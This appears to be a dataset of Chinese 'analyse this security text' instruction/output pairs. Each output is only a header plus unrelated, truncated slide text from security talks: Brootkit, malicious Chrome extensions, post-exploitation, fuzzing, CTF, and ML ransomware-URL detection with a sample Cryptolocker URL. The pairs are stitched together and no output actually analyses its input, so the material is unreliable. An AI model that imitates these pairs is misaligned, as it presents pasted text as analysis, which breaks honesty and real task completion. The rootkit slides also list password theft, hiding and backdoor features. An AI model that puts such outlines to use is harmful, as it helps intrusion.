As of 2010, Frost & Sullivan estimates that there are 2.28 million information
security professionals worldwide.
to which an experienced security practitioner replied:
“it sounds better if you make air quotes when you say information security
professionals.”
THE SITUATION
We are all in this together. all hacking and all hackers are gray hat.
a black hat hacker is a hacker.
a gray hat hacker is a hacker who knows when to fudge the truth.
a white hat hacker is a hacker who put the truth down somewhere and can’t remember
where he left it.
the world is gray. hacking is a subset of the world. therefore, hacking is gray.
Those who define a paradigm do not need to worry about answers, because they
determine the questions that can be asked.  They know the size and shape of the picture
because they create the frame.
Years ago I referred to “real birds kin digital cages.” Now I would say, “real flocks of
birds in digital cages.” The simulated beating wings above and below and on both sides
provide an illusion of security, being part of the herd, the team, the tribe,  and our own
beating wings provide an illusion of the freedom of flight. But the cage slowly turns and
positions us where it will.
We are all assimilated. The Borg-R-Us.
Margaret Mead , noted anthropologist, said it takes a full year to learn how to see what
she learns in the first week in a new culture because she is assimilated so quickly and
unconsciously into the culture.  The frames of her perceptual lenses are immediately
recontextualized by the cues, however exotic, in response to her statements.
2
In any organizational culture, we learn how to behave according to known but unwritten
rules. The written rules, known only when we scan the thick book given to new hires,
soon become written and unknown as they gather dust on the shelf in our ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SHELL Hacking
阿里云 - wzt
•
When  control  a  unix-like  system,    Than?
[root@localhost fucking_rootkit]#  ls
Makefile furootkit.c
[root@localhost fucking_rootkit]#  make
make   -C  /lib/modules/2.6.32/build  M=/root/lkm/fucking_rootkit modules
make:  ***  /lib/modules/2.6.32/build:  No  such  file  or  directory.    Stop.
make:  ***  [furootkit]  Error  2
[root@localhost fucking_rootkit]#  gcc
bash:  gcc:  command   not  found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]#  perl
bash:  perl:  command   not  found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]#  python
bash:  python:  command   not  found
[root@localhost fucking_rootkit]#
Do  everything  in  SHELL
• Unix  kiss  philosophy
Ø keep  it  sample  stupid.
Ø do  one  thing  do  it  well.
• The  goal  of  shell  scripts
Ø no  cpu arch  depend
Ø no  complier  depend
Ø no  interpreter  depend
Ø no  os and  kernel  distribution  depend
Ø sh/bash/csh/zsh
Ø unix/bsd/solaris/linux
Ø hundreds  of  open  source  tools
Ø just  a  shell  script?
Bash  Rootkit
•
Histroy of  bash  rootkit
ü
If  bash  shell  scripts  can  be  designed  for  security  tools  like  chkrootkit or  rkhunter,
ü
so  too  can  it  be  implemented  for  a  rootkit.
•
Brootkit
ü
Lightweight  rootkit  implemented  using  bash  shell  scripts.
ü
FEATURES
I.
more  hidable ability  against  admintrator or  hids.
II.
su passwd thief.
III.
hide  file  and  directories.
IV.
hide  process.
V.
hide  network  connections.
VI.
connect  backdoor.
VII.
multi  thread  port  scanner.
VIII.
http  download.
IX.
multi  thread  ssh passwd crack.
ü
TARGET  OS
I.
centos
II.
rhel
III.
ubuntu
IV.
debian
V.
fedora
VI.
freebsd
The  life  of  `ls`
ls ->  glibc/opendir()  ->  syscall/sys_getdents()  ->  vfs/vfs_readdir()  ->  ext4/ext4_readdir()
preload                 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Game of Chromes:
Owning the Web with Zombie Chrome Extensions
Abstract
2
Malicious Extensions Analysis
3
Malicious Extension I  - Bot distribution through Facebook and Wix.com
3
Malicious Extension II - Bot distribution through Facebook and Google Drive
6
Vulnerable Extensions Analysis
8
Vulnerable Extension I   - Adobe Acrobat
8
Vulnerable Extension II  - AVG Web TuneUp
10
Vulnerable Extension III - JSONView
14
Abstract
On April 16 2016, an army of bots stormed upon Wix servers, creating new accounts and
publishing shady websites in mass. The attack was carried by a malicious Chrome extension,
installed on tens of thousands of devices, sending HTTP requests simultaneously. This
“Extension Bot” has used Wix websites platform and Facebook messaging service, to distribute
itself among users. Two months later, same attackers strike again. This time they used
infectious notifications, popping up on Facebook and leading to a malicious Windows-runnable
JSE file. Upon clicking, the file ran and installed a Chrome extension on the victim’s browser.
Then the extension used Facebook messaging once again to pass itself on to more victims.
Analyzing these attacks, we were amazed by the highly elusive nature of these bots, especially
when it comes to bypassing web-based bot-detection systems.
This shouldn’t be surprising, since legit browser extensions are supposed to send Facebook
messages, create Wix websites, or in fact perform any action on behalf of the user.
On the other hand, smuggling a malicious extension into Google Web Store and distributing it
among victims efficiently, like these attackers did, is let’s say - not a stroll in the park.
But don’t worry, there are other options.
Recently, several popular Chrome extensions were found to be vulnerable to XSS. Yep, the
same old XSS every rookie finds in so many web applications. So browser extensions suffer
from it too, and sadly, in their case it can be much deadlier than in regular websit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tips
0x00
0x01 string

0x02
0x03 this

  int (*)(Params const&,std::string&)
0x04 vectormap
0x05


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Slide: 1
Meta-Post Exploitation
Val Smith (Valsmith@offensivecomputing.net)
Colin Ames (amesc@offensivecomputing.net)
Using Old, Lost, Forgotten Knowledge
Slide: 2
Valsmith
– Affiliations:
• Offensive Computing
• Metasploit
• cDc
– Work:
• Malware Analyst
• Reverse Engineer
• Penetration Tester
• Exploit developer
Slide: 3
Colin Ames
– Security Researcher, Offensive Computing
– Steganography Research
– Penetration Testing
– Reverse Engineering
– Malware Analysis
Slide: 4
• What is this?
– Follow up to Val’s and HD Moore’s
Tactical Exploitation talk from last year
– A talk about the use of automation
and tactical tools post-exploitation
– Applied techniques
– Good for LARGE environments
– Different perspectives: some old,
some forgotten, some new
Slide: 5
Post Exploitation Concepts Overview
Slide: 6
What Is Post Exploitation?
• It’s what you do after you get root
– Note: This talk assumes you have access
• Includes
– Password Management
– Persistence
– Stealth / Evading Detection
– User Identity Theft
– Feature Modification
– Automation & Mass 0wnage
Slide: 7
What Is Post Exploitation?
• Getting root is just the beginning
– How do you spread?
– How to manage assets as you go along?
• Lots of tools to help you get root:
– Metasploit, Core, Canvas, Stand alone
• But what about after breaking in
– Lots of random tools
– Little automation / standardization
– Archaic, hard to use, poorly documented
– Maliciousness often obvious
– Not Scalable to 1000’s of hosts (ignoring botnets for this talk)
Slide: 8
Password Management
Slide: 9
Why Password Management?
– Large pentests, 1000’s of passwords
– Testing a cracked password on many
systems can be time consuming
– Keeping track of cracking sessions
– Building and growing your wordlist lets
you crack faster
– Aids in cleanup stage
• Tying accounts to systems
Slide: 10
Password Management Goals
– Acquired password storage
– Organization and tracking
• What passwords go with which hosts
• What passwords are shared
• Which...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

D u m a r t f u z z e r ：
M a k e  t h e  d u m b  f u z z e r
s m a r t
陈振宇 个人安全研究员
背景
•
内存类漏洞占很大比例
•
Fuzzing仍然是发现内存类漏洞的重要手段
•
有源码fuzzing工具已经很完善
•
无源码fuzzing的方法缺点较多，一般无源码
的Fuzzing也叫黑盒fuzz
•
有时不得不进行黑盒fuzz。如闭源项目。
背景：黑盒fuzz的困难
•
状态机
•
dlopen
•
qemu, unicorn
•
效率低
•
缺乏路径反馈
•
没有路径反馈的一般称为dumb fuzz，反之会叫smart fuzz
•
没有地址消杀器
•
fuzzing without ASAN is a waste of CPU
状态机：是什么，为什么麻烦
•
所有CPU以及内存里的值
•
指针，虚函数表等
•
变量（内存）里保存的值
•
某状态时，cpu寄存器的值
大型软件中，对象间有聚合，依赖，
包含。所有对象都需要满足才能运行。
要运行fuzz，有时即使有源码也是很
复杂的事情 。
背景：如何能做一个最简单的黑盒fuzz
•
简单来说，需要2点：
•
1、fuzz就是不断地运行某一段代码每次运行，输入变异了的参数
•
2、要运行一段代码，需要准备好代码运行的上下文。这个上下文有时又叫状态机。
状态机：如何简单地获取状态机，提高效率
•
状态机天然在存在我们的测试环境里（业务可以正常运行）。
•
直接发送报文（效率低），只能从处理入口开始fuzz，崩溃检测慢
•
如果可以在正常运行的程序中注入我们的代码就可以获得这个状态机和不断运行被测试对象。
效率会大大提升。
——进程注入( https://github.com/gaffe23/linux-inject)
•
使用系统调用fork，保存系统状态
•
在新进程中可以选择任意函数，甚至任意片段进行fuzz
目标进程
libfuzzer.s
o
inject
Fork process
with state
machine
libfuzzer.so
fork
新进程是Fuzzer
原进程继续运行
状态机：注入原理
•
是通过ptrace在目标进程写入一段二进制代码
•
二进制代码执行了__libc_dlopen_mode，把
目标库加载进进程空间
•
恢复进程原本上下文
目标进程
inject
bin code
libfuzzer.so
加载
状态机: 为什么不在原进程fuzz
•
其实是可以的
•
但是：
•
一些嵌入式系统有看门狗，在原进程上fuzzing，可能由于响应慢等导致非漏洞的重启
•
需要启动一个新线程来做fuzz
•
效率较低
•
全局变量的访问
Fuzzer: 快照，快照的作用
•
Afl 有fork server，会不停地执行fork来运行一次测
试对象
•
Fork可以恢复运行的状态。但是时间开销较大。
•
Afl就有persistent mode减少fork开销。假定每次
运行都是无状态的 。重复运行测试对象。
•
Dumart fuzzer模仿persistent mode。保存快照。
用于恢复。
Fuzzer: 保存快照，怎么保存
•
内存:
•
扫描进程的内存空间，保存目标的可写段
•
所有堆内存
•
不是一个变量一个变量地记录。整个段保存下来。
•
寄存器:
•
在需要保存状态的地方设置断点，通过断点处理程序记录寄存器状态
Fuzzer: 崩溃检测
•
内存类漏洞崩溃时到底发生了什么?
•
收到信号SIGSEGV
•
注册SIGSEGV信号处理程序，接管SIGSEGV信号
•
Unique crash detect:  检查RIP是否唯一
•
Unique crash 则保存输入
•
恢复上下文
SIGSEGV
handler
保存输入及定
位信息
检测unique
crash
恢复状态，继
续fuzz
YES
NO
Fuzzer: 路径反馈是什么
•
路径反馈可以让fuzz运行的更深
•
发现更多问题
•
这是smart fuzz和dumb fuzz最重要的区别
Fuzzer: 路径反馈
•
通过ida脚本，把被测对象的所有block的地址记录下来
•
断点
•
在每个代码块的起始地址改写为断点指令(int 3)
•
注册信号处理程序
•
触发新代码块的输入作为种子保存
•
恢复原本的指令
•
继续运行
Block A
Block B
Block C
Int 3
Int 3
Int 3
RIP
Original
code
RIP
Original
code
Fuzzer: 路径反馈
•
打断点
•
断点触发，
•
恢复代码
ASAN：是什么
•
发生内...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Maximum CTF
Get the most from capture the ﬂag
Friday, July 31, 2009
capture the ﬂag
(Two Toy Soldiers)
http://www.ﬂickr.com/photos/janramroth/2264184078/
http://creativecommons.org/licenses/by/2.0/deed.en
jot.punkt
planet
"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualiﬁer.  And yeah this should be insanely obvious.  The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.ﬂickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
planet
"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualiﬁer.  And yeah this should be insanely obvious.  The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.ﬂickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past.  If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past.  If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
psifertex
Friday, July 31, 2009
Hi, I’m psifertex, this is my bio.  The parts that matter, anyway.
Photo copyright my dad -- used with permission, licensed the same as the presentation..
Friday, July 31, 2009
It’s probably not surprising that I prefer Linux over Windows, though the older and lazier I
get, the more Steve Jobs takes my money.
Friday, July 31, 2009...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aug 2017
Senior Malware Scientist ,Trend Micro
spark@trendmicro.com
HITCON
Source: https://ransomwaretracker.abuse.ch/tracker/cerber/
booster[0]:
0:[f1<127.5] yes=1,no=2,missing=1
1:[f7<28.5] yes=3,no=4,missing=3
3:[f5<30.95] yes=7,no=8,missing=7
7:[f0<5.5] yes=15,no=16,missing=15
15:leaf=-1.89091
16:leaf=-0.5
8:[f6<0.9045] yes=17,no=18,missing=17
 Pros
 Easy to program
 Very fast training
 Perform well against tabular input data
 Use human intelligence and heuristics
 Cons
 Hard to debug when it mis-predicts
 Development cost is high
 Feature engineering is required
Cell
x
Cell
Xt
Yt
Cell
y
Cell
z
Cell
.
Cell
t
Cell
w
Answer
h
t
t
t
W
Cell
i
Cell
k
Cell
3
Cell
.
Cell
h
Cell
k
Answer
Softmax
0.6
0.2
0.1
Cryptolocker
Clean
Locky
Cerber-RIGEK
0.1
Fully Connected
Source: https://stats.stackexchange.com/questions/273465/neural-network-softmax-activation
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: https://arxiv.org/pdf/1409.0473.pdf
 Symbols do not carry their natural semantics within them whereas
continuous signals such as audios and videos do.
www.facebook.com/n/?kjoha
GRU
GRU
GRU
GRU
Emb
Emb
Emb
Emb
Emb
Emb
GRU
GRU
GRU
GRU
GRU
Shortest URLs
Longest URLs
…
Cryptolocker
Clean
Locky
Cerber-RIGEK
 Feature
 Dataset
 Sourcing
 Legitimate URLs: Akamai log
 Cryptolocker: Malware operations team
 Locky v2/ Cerber-RIGEK : Ransomware tracker
 Splits
 train : validation : test = 0.1 : 0.1 : 0.8
Before Training
After Training
 Undetected URL from test-cryptolocker.txt
www.leriov.com:80/leriov3/player1.php?id=aH!BeF0cHM6
Ly9waG90b3MuZ29vZ2xlLmNvbS9zaGFyZS9B!BeFjF!BeFaXBNOH
B!BeFcmplbEEydU!BeFPX3ZZQTBLel!BeFKdjNmWVItMUFaM1UxQ
1UtX25oWDho!BeFjNTaDh!BeFaEs0bF85WXNlYVVySUNBP2tleT1
NMDV3YjB!BeFelNtVXpj@bfgo2TFdKVk1YQX!BeFjWHBOY0VKdGF
FdElhMHBS&id2=
 Analysis
This URL was misplaced in the test cryptolocker sample list. So this
missed detection is a correct behaviour.
 Tr...